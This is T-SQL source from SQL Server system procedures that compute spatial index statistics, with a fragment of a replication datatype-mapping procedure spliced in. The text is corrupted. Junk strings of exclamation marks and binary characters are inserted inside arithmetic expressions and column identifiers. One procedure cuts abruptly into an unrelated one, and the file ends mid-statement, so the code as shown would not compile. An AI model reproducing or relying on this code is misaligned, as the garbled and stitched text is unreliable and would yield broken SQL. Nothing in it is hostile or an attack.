			0x04,
			CASE WHEN (cell_attributes = 2) THEN 2 ELSE 0 END, srid
		FROM #temp_window_object_tessellation
		WHERE (CONVERT(INT, SUBSTRING(cell_id, 5, 1))) > 0 and (CONVERT(INT, SUBSTRING(cell_id, 5, 1))) < 4
	)
	INSERT INTO #temp_window_object_tessellation_candidates
	SELECT cell_id_start, cell_id_end, cell_attr, srid
	FROM DescendantCells

	INSERT INTO @results values (N'Base_Table_Rows', 
		@base_table_rows, 
		1)
	INSERT INTO @results values (N'Bounding_Box_xmin', 
		@minx, 
		1)
	INSERT INTO @results values (N'Bounding_Box_ymin', 
		@miny, 
		1)
	INSERT INTO @results values (N'Bounding_Box_xmax', 
		@maxx, 
		1)
	INSERT INTO @results values (N'Bounding_Box_ymax', 
		@maxy,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_1', 
		@gridsize1,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_2', 
		@gridsize2,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_3', 
		@gridsize3, 
		1)
	INSERT INTO @results values (N'Grid_Size_Level_4', 
		@gridsize4, 
		1)
	INSERT INTO @results values (N'Cells_Per_Object', 
		@cells_per_object, 
		1)

	SELECT @index_total_rows = sum(total) FROM #temp_spatial_index_stats WHERE tag = '_In_Index'
	INSERT INTO @results values (N'Total_Primary_Index_Rows', 
		@index_total_rows, 
		1)
	INSERT INTO @results values (N'Total_Primary_Index_Pages', 
		@index_total_pages, 
		1)
	INSERT INTO @results values (N'Average_Number_Of_Index_Rows_Per_Base_Row', 
		@index_total_rows/@base_table_rows, 
		1);

	-- glogal statistics
	INSERT INTO @results
	SELECT N'Total_Number_Of_ObjectCells_In_Level'+CONVERT(NVARCHAR(10), level)+tag,  sum(total), 0
	FROM #temp_spatial_index_stats
	group by tag, level;

	-- per grid statistics
	INSERT INTO @results
	SELECT N'Total_Number_Of_Interior_ObjectCells_In_Level'+CONVERT(NVARCHAR(10), level)+tag,  sum(total), 0
	FROM #temp_spatial_index_stats
	group by tag, level, cell_attributes
	having cell_attributes = 2;

	INSERT INTO @results
	SELECT N'Total_Number_Of_Intersecting_ObjectCells_In_Level'+CONVERT(NVARCHAR(10), level)+tag,  sum(total), 0
	FROM #temp_spatial_index_stats
	group by tag, level, cell_attributes
	having cell_attributes = 1;

	INSERT INTO @results
	SELECT N'Total_Number_Of_Border_ObjectCells_In_Level'+CONVERT(NVARCHAR(10), level)+tag,  sum(total), 0
	FROM #temp_spatial_index_stats
	group by tag, level, cell_attributes
	having cell_attributes = 0;

	-- Ratio of interior cells to total number of cells.
	-- We normalize the cells to the leaf grid.
	DECLARE @interior_cells FLOAT
	DECLARE @intersect_cells FLOAT
	DECLARE @border_cells FLOAT
	SELECT @interior_cells = (total * gs.leafgrid_normalizer)
		FROM #temp_spatial_index_stats st, @gridsizes gs
		WHERE st.cell_attributes = 2 and gs.level = st.level
	SELECT @intersect_cells = (total * gs.leafgrid_normalizer)
		FROM #temp_spatial_index_stats st, @gridsizes gs
		WHERE st.cell_attributes = 1 and gs.level = st.level
	SELECT @border_cells = (total * gs.leafgrid_normalizer)
		FROM #temp_spatial_index_stats st, @gridsizes gs
		WHERE st.cell_attributes = 0 and gs.level = st.level;

	INSERT INTO @results values (N'Interior_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage', 
		100.0*(@interior_cells/(@interior_cells+@intersect_cells!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($ov'+@border_cells)), 
		1)
	INSERT INTO @results values (N'Intersecting_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage', 
		100.0*(@intersect_cells/(@interior_cells+@intersect_cells+@border_cells)), 
		1)
	INSERT INTO @results values (N'Border_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage', 
		100.0*(@border_cells/(@interior_cells+@intersect_cells+@border_cells)), 
		1)
	INSERT INTO @results values (N'Average_Cells_Per_Object_Normalized_To_Leaf_Grid', 
		(@interior_cells+@intersect_cells+@border_cells)/@base_table_rows, 
		1)
	INSERT INTO @results values (N'Average_Objects_PerLeaf_GridCell', 
		@base_table_rows/(@interior_cells+@intersect_cells+@border_cells), 
		1)

	-- distinct SRIDs
	INSERT INTO @results values (N'Number_Of_SRIDs_Found', 
		(SELECT count( DISTINCT (srid)) AS [SRIDs] FROM #temp_spatial_index_stats), 
		1);

	-- size attributes of cell in each grid according to the co-ordinate system
	WITH ComputeCellWidth(depth, proplabel, width)
	AS
	(
		SELECT level+1 AS depth, CONVERT(NVARCHAR(100), (N'Width_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level))) AS proplabel, ((@maxx-@minx)/POWER(size, 0.5)) AS width
		FROM @gridsizes
		WHERE level = 1
		UNION ALL
		SELECT level+1 AS depth, CONVERT(NVARCHAR(100), (N'Width_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level))) AS proplabel, (width/POWER(size, 0.5)) AS width
		FROM @gridsizes g inner join ComputeCellWidth c
		ON g.level = c.depth
	)
	INSERT INTO @results
	SELECT proplabel,  width, 1
	FROM ComputeCellWidth
	OPTION (MAXRECURSION 4);	

	WITH ComputeCellHeight(depth, proplabel, height)
	AS
	(
		SELECT level+1, CONVERT(NVARCHAR(100), (N'Height_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level))), (@maxy-@miny)/POWER(size, 0.5)
		FROM @gridsizes
		WHERE level = 1
		UNION ALL
		SELECT level+1, CONVERT(NVARCHAR(100), (N'Height_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level))), height/POWER(size, 0.5)
		FROM @gridsizes g inner join ComputeCellHeight c
		ON g.level = c.depth
	)
	INSERT INTO @results
	SELECT proplabel,  height, 1
	FROM ComputeCellHeight
	OPTION (MAXRECURSION 4);	

	WITH ComputeCellArea(depth, proplabel, area)
	AS
	(
		SELECT level+1, CONVERT(NVARCHAR(100), (N'Area_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level))), ((@maxy-@miny)*(@maxx-@minx))/CONVERT(FLOAT, size)
		FROM @gridsizes
		WHERE level = 1
		UNION ALL
		SELECT level+1, CONVERT(NVARCHAR(100), (N'Area_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level))), area/CONVERT(FLOAT, size)
		FROM @gridsizes g inner join ComputeCellArea c
		ON g.level = c.depth
	)
	INSERT INTO @results
	SELECT proplabel,  area, 1
	FROM ComputeCellArea
	OPTION (MAXRECURSION 4);

	-- percentage of cell coverage in each grid level
	WITH ComputeCellArea(depth, proplabel, cell_area_percent_of_bb)
	AS
	(
		SELECT level+1, 
			CONVERT(NVARCHAR(100), (N'CellArea_To_BoundingBoxArea_Percentage_In_Level'+CONVERT(NVARCHAR(10), level))), 
			100.0/CONVERT(FLOAT, size)
		FROM @gridsizes
		WHERE level = 1
		UNION ALL
		SELECT level+1,
			CONVERT(NVARCHAR(100), (N'CellArea_To_BoundingBoxArea_Percentage_In_Level'+CONVERT(NVARCHAR(10), level))), 
			cell_area_percent_of_bb/CONVERT(FLOAT, g.size)
		FROM @gridsizes g inner join ComputeCellArea c
		ON g.level = c.depth
	)
	INSERT INTO @results
	SELECT proplabel,  cell_area_percent_of_bb, 1
	FROM ComputeCellArea
	OPTION (MAXRECURSION 4);	
	
	IF (@internaltabname is not null)
	BEGIN
		SET @execstr = N'
		WITH PrimaryFilter(pk0, cell_attr)
		AS
		(
			SELECT pk0, max(i.cell_attributes+c.cell_attributes)
			FROM ' + @internaltabname +N' i join
			#temp_window_object_tessellation_candidates c ON i.cell_id  >= c.cell_id and i.cell_id <= c.cell_id_end
			group by pk0
		)
		SELECT ''Number_Of_Rows_Selected_By_Primary_Filter'', 
			count(*),
			0 
			FROM PrimaryFilter
		UNION ALL
		SELECT ''Number_Of_Rows_Selected_By_Internal_Filter'',
			count(CASE WHEN (cell_attr>=3) THEN 3 ELSE null END),
			0
			FROM PrimaryFilter
		UNION ALL 
		SELECT ''Number_Of_Times_Secondary_Filter_Is_Called'', 
			count(CASE WHEN (cell_attr<=2) THEN 2 ELSE null END),
			0
			FROM PrimaryFilter ';
		IF (@results_card is not null)
		BEGIN
			SET @execstr = @execstr +
			N'
			UNION ALL
			SELECT ''Number_Of_Rows_Output'', CONVERT(BIGINT, ' + CONVERT(NVARCHAR(20), @results_card) + '), 
			0';
		END

		SET @execstr = @execstr + N' OPTION (RECOMPILE)';

		INSERT INTO @results EXEC (@execstr);

		DECLARE @primary_filter_rows float;
		DECLARE @internal_filter_rows float;

		SELECT @primary_filter_rows = CONVERT(float, propvalue) FROM @results where propname = 'Number_Of_Rows_Selected_By_Primary_Filter';
		SELECT @internal_filter_rows = CONVERT(float, propvalue) FROM @results where propname = 'Number_Of_Rows_Selected_By_Internal_Filter';
		
		INSERT INTO @results 
			(propname, propvalue, verbose)
		VALUES
			('Percentage_Of_Rows_NotSelected_By_Primary_Filter', ((@base_table_rows - @primary_filter_rows) / @base_table_rows) * 100.0, 0);
		
		INSERT INTO @results 
			(propname, propvalue, verbose)
		VALUES
			('Percentage_Of_Primary_Filter_Rows_Selected_By_Internal_Filter', (@internal_filter_rows/ @primary_filter_rows) * 100.0, 0);
		
		IF (@results_card is not null)
		BEGIN
			INSERT INTO @results 
				(propname, propvalue, verbose)
			VALUES
				('Internal_Filter_Efficiency', (@internal_filter_rows / @results_card) * 100.0, 0);

			INSERT INTO @results 
				(propname, propvalue, verbose)
			VALUES
				('Primary_Filter_Efficiency', (@results_card / @primary_filter_rows) * 100.0, 0);
		END
	END

	IF @do_output_xml = 0
	BEGIN
			SELECT propname, isnull(propvalue, 0.0) propvalue FROM @results WHERE verbose <= @verboseoutput
	END
	ELSE
	BEGIN
		SELECT @xml_output = 
		(
			SELECT 
				Base_Table_Rows,
				Bounding_Box_xmin,
				Bounding_Box_ymin,
				Bounding_Box_xmax,
				Bounding_Box_ymax,
				Grid_Size_Level_1,
				Grid_Size_Level_2,
				Grid_Size_Level_3,
				Grid_Size_Level_4,
				Cells_Per_Object,
				Total_Primary_Index_Rows,
				Total_Primary_Index_Pages,
				Average_Number_Of_Index_Rows_Per_Base_Row,
				Total_Number_Of_ObjectCells_In_Level0_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level0_In_Index,
				Total_Number_Of_ObjectCells_In_Level1_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level1_In_Index,
				Total_Number_Of_ObjectCells_In_Level2_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level2_In_Index,
				Total_Number_Of_ObjectCells_In_Level3_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level3_In_Index,
				Total_Number_Of_ObjectCells_In_Level4_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level4_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level1_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level1_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level2_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level2_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level3_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level3_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level4_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level4_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level1_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level1_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level2_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level2_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level3_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level3_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level4_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level4_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level0_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level0_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level1_For_QuerySample,
				Total_Number_Of_Borde!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<t03
NZl'r_ObjectCells_In_Level1_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level2_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level2_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level3_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level3_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level4_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level4_In_Index,
				Interior_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage,
				Intersecting_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage,
				Border_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage,
				Average_Cells_Per_Object_Normalized_To_Leaf_Grid,
				Average_Objects_PerLeaf_GridCell,
				Number_Of_SRIDs_Found,
				Width_Of_Cell_In_Level1,
				Width_Of_Cell_In_Level2,
				Width_Of_Cell_In_Level3,
				Width_Of_Cell_In_Level4,
				Height_Of_Cell_In_Level1,
				Height_Of_Cell_In_Level2,
				Height_Of_Cell_In_Level3,
				Height_Of_Cell_In_Level4,
				Area_Of_Cell_In_Level1,
				Area_Of_Cell_In_Level2,
				Area_Of_Cell_In_Level3,
				Area_Of_Cell_In_Level4,
				CellArea_To_BoundingBoxArea_Percentage_In_Level1,
				CellArea_To_BoundingBoxArea_Percentage_In_Level2,
				CellArea_To_BoundingBoxArea_Percentage_In_Level3,
				CellArea_To_BoundingBoxArea_Percentage_In_Level4,
				Number_Of_Rows_Selected_By_Primary_Filter,
				Number_Of_Rows_Selected_By_Internal_Filter,
				Number_Of_Times_Secondary_Filter_Is_Called,
				Number_Of_Rows_Output,
				Percentage_Of_Rows_NotSelected_By_Primary_Filter,
				Percentage_Of_Primary_Filter_Rows_Selected_By_Internal_Filter,
				Internal_Filter_Efficiency,
				Primary_Filter_Efficiency
			FROM 
				(SELECT propname, isnull(propvalue, 0.0) as propvalue FROM @results WHERE verbose <= @verboseoutput) p
			pivot
			(
				MAX(propvalue)
				FOR propname in
				(
					[Base_Table_Rows],
					[Bounding_Box_xmin],
					[Bounding_Box_ymin],
					[Bounding_Box_xmax],
					[Bounding_Box_ymax],
					[Grid_Size_Level_1],
					[Grid_Size_Level_2],
					[Grid_Size_Level_3],
					[Grid_Size_Level_4],
					[Cells_Per_Object],
					[Total_Primary_Index_Rows],
					[Total_Primary_Index_Pages],
					[Average_Number_Of_Index_Rows_Per_Base_Row],
					[Total_Number_Of_ObjectCells_In_Level0_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level0_In_Index],
					[Total_Number_Of_ObjectCells_In_Level1_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level1_In_Index],
					[Total_Number_Of_ObjectCells_In_Level2_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level2_In_Index],
					[Total_Number_Of_ObjectCells_In_Level3_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level3_In_Index],
					[Total_Number_Of_ObjectCells_In_Level4_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level4_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level1_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level1_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level2_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level2_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level3_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level3_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level4_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level4_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level1_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level1_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level2_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level2_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level3_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level3_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level4_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level4_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level0_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level0_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level1_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level1_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level2_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level2_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level3_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level3_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level4_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level4_In_Index],
					[Interior_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage],
					[Intersecting_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage],
					[Border_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage],
					[Average_Cells_Per_Object_Normalized_To_Leaf_Grid],
					[Average_Objects_PerLeaf_GridCell],
					[Number_Of_SRIDs_Found],
					[Width_Of_Cell_In_Level1],
					[Width_Of_Cell_In_Level2],
					[Width_Of_Cell_In_Level3],
					[Width_Of_Cell_In_Level4],
					[Height_Of_Cell_In_Level1],
					[Height_Of_Cell_In_Level2],
					[Height_Of_Cell_In_Level3],
					[Height_Of_Cell_In_Level4],
					[Area_Of_Cell_In_Level1],
					[Area_Of_Cell_In_Level2],
					[Area_Of_Cell_In_Level3],
					[Area_Of_Cell_In_Level4],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level1],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level2],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level3],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level4],
					[Number_Of_Rows_Selected_By_Primary_Filter],
					[Number_Of_Rows_Selected_By_Internal_Filter],
					[Number_Of_Times_Secondary_Filter_Is_Called],
					[Number_Of_Rows_Output],
					[Percentage_Of_Rows_NotSelected_By_Primary_Filter],
					[Percentage_Of_Primary_Filter_Rows_Selected_By_Internal_Filter],
					[Internal_Filter_Efficiency],
					[Primary_Filter_Efficiency]
				)
			) AS pvt
			for XML PATH(''), TYPE
		)
	END
END
FZFpe mapping
			DELETE FROM msdb.dbo.MSdbms_datatype_mapping
			WHERE datatype_mapping_id = @datatype_mapping_id

			-- Drop map if no mappings left
			DELETE FROM msdb.dbo.MSdbms_map
			WHERE	map_id = @map_id
			  AND	map_id NOT IN
					(
						SELECT	map_id
						FROM	msdb.dbo.MSdbms_datatype_mapping
						WHERE	map_id = @map_id
					)

			IF @@ERROR <> 0
			BEGIN
				IF @@TRANCOUNT > 0
				BEGIN
					ROLLBACK TRANSACTION dropdatatypemapping
					COMMIT TRAN
				END
				RETURN (1)
			END
		END
	END
	
	-- Fixup defaults for any dropped default mappings
	exec @retcode = sys.sp_MSrepl_fixupdefaultmappings
	IF @retcode <> 0 OR @@ERROR <> 0
	BEGIN
		IF @@TRANCOUNT > 0
		BEGIN
			ROLLBACK TRANSACTION dropdatatypemapping
			COMMIT TRAN
		END
		RETURN (1)
	END
	
	COMMIT TRAN
	RETURN (@retcode)		
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($<Evw)CREATE PROC sys.sp_help_spatial_index_internal_auto
(
	@minx				FLOAT,		-- bounding box minx
	@miny				FLOAT,		-- bounding box miny
	@maxx				FLOAT,		-- bounding box maxx
	@maxy				FLOAT,		-- bounding box maxy
	@cells_per_object	INT,		-- cells per object
	@base_table_rows	BIGINT,		-- number of rows in the base TABLE
	@index_total_pages	BIGINT,		-- optional (number pages in the INDEX)
	@results_card		BIGINT,		-- number of rows selectd
	@internaltabname	SYSNAME,	-- internal TABLE name for the persisted INDEX
	@do_output_xml		TINYINT,	-- OUTPUT report in XML form rather than AS a rowset
	@xml_output		XML OUTPUT,	-- OUTPUT report in XML form rather than AS a rowset
	@verboseoutput		TINYINT,	-- OUTPUT all properties
	@distinct_srids		BIGINT
)
AS
BEGIN
	SET NOCOUNT ON
	SET ARITHIGNORE ON
	SET ARITHABORT OFF
	SET ANSI_WARNINGS OFF

	DECLARE @index_total_rows BIGINT,
			@execstr NVARCHAR(2000),
			@param_def NVARCHAR(200);

	-- use a tablevar to maintain tesults. the results are property name value pairs
	-- WITH additional description. currently use FLOAT AS the type of the property, may be
	-- this needs to be a sqlvariant.
	DECLARE @results TABLE (propname NVARCHAR(256), propvalue sql_variant, verbose INT)

	-- size OFF grid for each level along WITH level and size
	DECLARE @gridsizes TABLE (level INT, size INT, leafgrid_normalizer INT)

	INSERT INTO @gridsizes values (1, 16, 16*16*16*16*16*16*16*16)
	INSERT INTO @gridsizes values (2, 16, 16*16*16*16*16*16*16)
	INSERT INTO @gridsizes values (3, 16, 16*16*16*16*16*16)
	INSERT INTO @gridsizes values (4, 16, 16*16*16*16*16)
	INSERT INTO @gridsizes values (5, 16, 16*16*16*16)
	INSERT INTO @gridsizes values (6, 16, 16*16*16)
	INSERT INTO @gridsizes values (7, 16, 16*16)
	INSERT INTO @gridsizes values (8, 16, 16)
	INSERT INTO @gridsizes values (9, 16, 1)

	-- the query groups the rows by depth of the grid which is the last byte of the cell encoding.
	CREATE TABLE #temp_spatial_index_stats(tag NVARCHAR(50), level SMALLINT, cell_attributes SMALLINT, total BIGINT);

	IF (@internaltabname is not null)
	BEGIN
		SET @execstr = N'SELECT ''_In_Index'' AS tag, SUBSTRING(id, 5, 1) % 16 AS ''level'', attr, count(*) AS ''total'' 
			FROM ' + @internaltabname + ' group by SUBSTRING(id, 5, 1) % 16, attr' +
			' OPTION (RECOMPILE)';

		INSERT INTO #temp_spatial_index_stats execute (@execstr) ;
	END
	
	SET @execstr = N'SELECT ''_For_QuerySample'' AS tag, SUBSTRING(id, 5, 1) % 16 AS ''level'', attr, count(*) AS ''total'' '+
		N' FROM #temp_window_object_tessellation_auto f group by SUBSTRING(id, 5, 1) % 16, attr';
	INSERT INTO #temp_spatial_index_stats EXEC (@execstr);

	CREATE TABLE #temp_window_object_tessellation_candidates(cell_id BINARY(5), cell_id_end BINARY(5), attr INT);
	CREATE INDEX temp_window_object_tessellation_candidates_index ON #temp_window_object_tessellation_candidates(cell_id, cell_id_end);

	-- enumerate self and ancestors and descendant prefix
	INSERT INTO #temp_window_object_tessellation_candidates
	SELECT id, limitid, attr
	FROM #temp_window_object_tessellation_auto

	INSERT INTO @results values (N'Base_Table_Rows', 
		@base_table_rows, 
		1)
	INSERT INTO @results values (N'Bounding_Box_xmin', 
		@minx, 
		1)
	INSERT INTO @results values (N'Bounding_Box_ymin', 
		@miny, 
		1)
	INSERT INTO @results values (N'Bounding_Box_xmax', 
		@maxx, 
		1)
	INSERT INTO @results values (N'Bounding_Box_ymax', 
		@maxy,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_1', 
		256,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_2', 
		16,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_3', 
		16,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_4', 
		16,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_5', 
		16,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_6', 
		16,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_7', 
		16,
		1)
	INSERT INTO @results values (N'Grid_Size_Level_8', 
		16,
		1)
	INSERT INTO @results values (N'Cells_Per_Object', 
		@cells_per_object, 
		1)

	SELECT @index_total_rows = sum(total) FROM #temp_spatial_index_stats WHERE tag = '_In_Index'
	INSERT INTO @results values (N'Total_Primary_Index_Rows', 
		@index_total_rows, 
		1)
	INSERT INTO @results values (N'Total_Primary_Index_Pages', 
		@index_total_pages, 
		1)
	INSERT INTO @results values (N'Average_Number_Of_Index_Rows_Per_Base_Row', 
		@index_total_rows/@base_table_rows, 
		1);

	-- glogal statistics
	INSERT INTO @results
	SELECT N'Total_Number_Of_ObjectCells_In_Level'+CONVERT(NVARCHAR(10), CASE level WHEN 0 THEN 0 ELSE level - 1 END)+tag,  sum(total), 0
	FROM #temp_spatial_index_stats
	group by tag, level;

	-- per grid statistics
	INSERT INTO @results
	SELECT N'Total_Number_Of_Interior_ObjectCells_In_Level'+CONVERT(NVARCHAR(10), CASE level WHEN 0 THEN 0 ELSE level - 1 END)+tag,  sum(total), 0
	FROM #temp_spatial_index_stats
	group by tag, level, cell_attributes
	having cell_attributes = 2;

	INSERT INTO @results
	SELECT N'Total_Number_Of_Intersecting_ObjectCells_In_Level'+CONVERT(NVARCHAR(10), CASE level WHEN 0 THEN 0 ELSE level - 1 END)+tag,  sum(total), 0
	FROM #temp_spatial_index_stats
	group by tag, level, cell_attributes
	having cell_attributes = 1;

	INSERT INTO @results
	SELECT N'Total_Number_Of_Border_ObjectCells_In_Level'+CONVERT(NVARCHAR(10), CASE level WHEN 0 THEN 0 ELSE level - 1 END)+tag,  sum(total), 0
	FROM #temp_spatial_index_stats
	group by tag, level, cell_attributes
	having cell_attributes = 0;

	-- Ratio of interior cells to total number of cells.
	-- We normalize the cells to the leaf grid.
	DECLARE @interior_cells FLOAT
	DECLARE @intersect_cells FLOAT
	DECLARE @border_cells FLOAT
	SELECT @interior_cells = (total * gs.leafgrid_normalizer)
		FROM #temp_spatial_index_stats st, @gridsizes gs
		WHERE st.cell_attributes = 2 and gs.level = st.level
	SELECT @intersect_cells = (total * gs.leafgrid_normalizer)
		FROM #temp_spatial_index_stats st, @gridsizes gs
		WHERE st.cell_attributes = 1 and gs.level = st.level
	SELECT @border_cells = (total * gs.leafgrid_normalizer)
		FROM #temp_spatial_index_stats st, @gridsizes gs
		WHERE st.cell_attributes = 0 and gs.level = st.level;

	INSERT INTO @results values (N'Interior_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage', 
		100.0*(@interior_cells/(@interior_cells+@intersect_cells+@border_cells)), 
		1)
	INSERT INTO @results values (N'Intersecting_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage', 
		100.0*(@intersect_cells/(@interior_cells+@intersect_cells+@border_cells)), 
		1)
	INSERT INTO @results values (N'Border_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage', 
		100.0*(@border_cells/(@interior_cells+@intersect_cells+@border_cells)), 
		1)
	INSERT INTO @results values (N'Average_Cells_Per_Object_Normalized_To_Leaf_Grid', 
		(@interior_cells+@intersect_cells+@border_cells)/@base_table_rows, 
		1)
	INSERT INTO @results values (N'Average_Objects_PerLeaf_GridCell', 
		@base_table_rows/(@interior_cells+@intersect_cells+@border_cells), 
		1);

	-- distinct SRIDs
	INSERT INTO @results values (N'Number_Of_SRIDs_Found', 
		@distinct_srids, 
		1);

	-- size attributes of cell in each grid according to the co-ordinate system
	WITH ComputeCellWidth(depth, proplabel, width)
	AS
	(
		SELECT level+1 AS depth, CONVERT(NVARCHAR(100), (N'Width_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level-1))) AS proplabel, ((@maxx-@minx)/POWER(size, 0.5)) AS width
		FROM @gridsizes
		WHERE level = 1
		UNION ALL
		SELECT level+1 AS depth, CONVERT(NVARCHAR(100), (N'Width_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level-1))) AS proplabel, (width/POWER(size, 0.5)) AS width
		FROM @gridsizes g inner join ComputeCellWidth c
		ON g.level = c.depth
	)
	INSERT INTO @results
	SELECT proplabel,  width, 1
	FROM ComputeCellWidth where depth <> 2
	OPTION (MAXRECURSION 9);

	WITH ComputeCellHeight(depth, proplabel, height)
	AS
	(!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($vw)
		SELECT level+1, CONVERT(NVARCHAR(100), (N'Height_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level-1))), (@maxy-@miny)/POWER(size, 0.5)
		FROM @gridsizes
		WHERE level = 1
		UNION ALL
		SELECT level+1, CONVERT(NVARCHAR(100), (N'Height_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level-1))), height/POWER(size, 0.5)
		FROM @gridsizes g inner join ComputeCellHeight c
		ON g.level = c.depth
	)
	INSERT INTO @results
	SELECT proplabel,  height, 1
	FROM ComputeCellHeight where depth <> 2
	OPTION (MAXRECURSION 9);

	WITH ComputeCellArea(depth, proplabel, area)
	AS
	(
		SELECT level+1, CONVERT(NVARCHAR(100), (N'Area_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level-1))), ((@maxy-@miny)*(@maxx-@minx))/CONVERT(FLOAT, size)
		FROM @gridsizes
		WHERE level = 1
		UNION ALL
		SELECT level+1, CONVERT(NVARCHAR(100), (N'Area_Of_Cell_In_Level'+CONVERT(NVARCHAR(10), level-1))), area/CONVERT(FLOAT, size)
		FROM @gridsizes g inner join ComputeCellArea c
		ON g.level = c.depth
	)
	INSERT INTO @results
	SELECT proplabel,  area, 1
	FROM ComputeCellArea where depth <> 2
	OPTION (MAXRECURSION 9);

	-- percentage of cell coverage in each grid level
	WITH ComputeCellArea(depth, proplabel, cell_area_percent_of_bb)
	AS
	(
		SELECT level+1, 
			CONVERT(NVARCHAR(100), (N'CellArea_To_BoundingBoxArea_Percentage_In_Level'+CONVERT(NVARCHAR(10), level-1))), 
